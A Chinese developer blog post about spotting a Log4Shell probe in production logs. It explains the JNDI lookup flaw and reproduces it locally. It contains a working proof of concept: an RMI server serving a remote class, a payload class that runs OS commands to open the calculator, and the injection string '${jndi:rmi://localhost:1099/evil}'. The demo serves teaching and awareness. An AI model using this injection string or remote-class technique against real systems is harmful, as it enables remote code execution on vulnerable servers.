事件经过
今天一到公司就被钉钉监控报警群@了,报错类型如下图所示:
com.mysql.jdbc.MysqlDataTruncation:Data truncation:Data too long for column
这个错误很常见,就是插入数据到数据库中,字段长度超过了数据库限制的长度。
于是我就去skywalking上找日志,看到底是什么参数超过了长度限制,于是我找到了报错的链路看到了网关打印的日志信息如下:
重点看我红线框出的部分,这一看就不是一个正常的传参,看起来像是某种攻击。
由此让我联想到,前几天log4j爆出的漏洞,于是我上网查了下,确实log4j这次的漏洞就是通过jndi进行攻击的。
但是,我们公司用户日志组件并不是log4j,而是logback,所以这次攻击对我们服务没有造成实际影响。感觉是逃过了一劫,但是也暴露出我们公司的安全意识很差。
log4j漏洞
既然都攻击到家门口了,肯定有必要了解下log4j的这次攻击原理。
log4j的这个漏洞主要是因为lookup的机制,允许日志中通过${}的方式进行属性注入。jndi估计很多人没用过,也不大了解,下面是我从维基百科找到的定义:
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
简单的理解,jndi是一个名字服务器,可以通过名字来访问对象。jndi下面又有很多SPI的实现,比如LDAP、RMI等。问题主要就在RMI这里,RMI是远程服务调用,jndi可以通过url加载远程class文件的方式执行服务。
比如我们让RMI客户端去访问jndi:rmi://localhost:1099/evil
,它就会去本地1099端口服务获取名字为evil的对象,获取到对象内容,然后初始化对象。初始化对象会执行对象里面的构造方法,static方法等,如果这里面有一些恶意代码,就能轻易的攻击你的系统。
当我们使用log4j去打印日志的时候,log4j在遇到${}
这种符号时,就会去lookup里面的内容。
log4j漏洞演示
下面我们来一个简单的示例,演示一下这个bug。
我们通过执行远程代码打开本机的计算器为例。首先,我们需要写一个RMI的服务端:
public class RmiServer {
public static void main(String[] args) throws Exception {
Reference reference = new Reference("com.haoyanbing.bug.log4j.hack.HackCommand", "com.haoyanbing.bug.log4j.hack.HackCommand", "http://localhost:8080/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
LocateRegistry.createRegistry(1099).bind("evil", referenceWrapper);
}
}
我们的攻击类:
package com.haoyanbing.bug.log4j.hack;
public class HackCommand {
public HackCommand() throws IOException {
Runtime rt = Runtime.getRuntime();
String property = System.getProperty("os.name");
if ("Mac OS X".equals(property)) {
String[] commands = {"/bin/sh", "-c", "open /System/Applications/Calculator.app"};
rt.exec(commands);
} else {
rt.exec("cmd /c calc");
}
}
}
然后将服务端启动,再写一个测试类,去测试一下
public class Log4jTest {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String input = "${jndi:rmi://localhost:1099/evil}";
logger.error("log:{}", input);
}
}
果然,我本地的计算器程序被打开了:
总结
log4j前几天爆出这个漏洞的时候,我们公司好像没怎么care这个事。这次只能说是我们走运,正好我们用的不是log4j,用的是logback,虽然这次攻击没有给我们系统造成实际的影响,但是给我们提了个醒,系统安全还是很重要的,针对社区爆出的漏洞,要及时关注。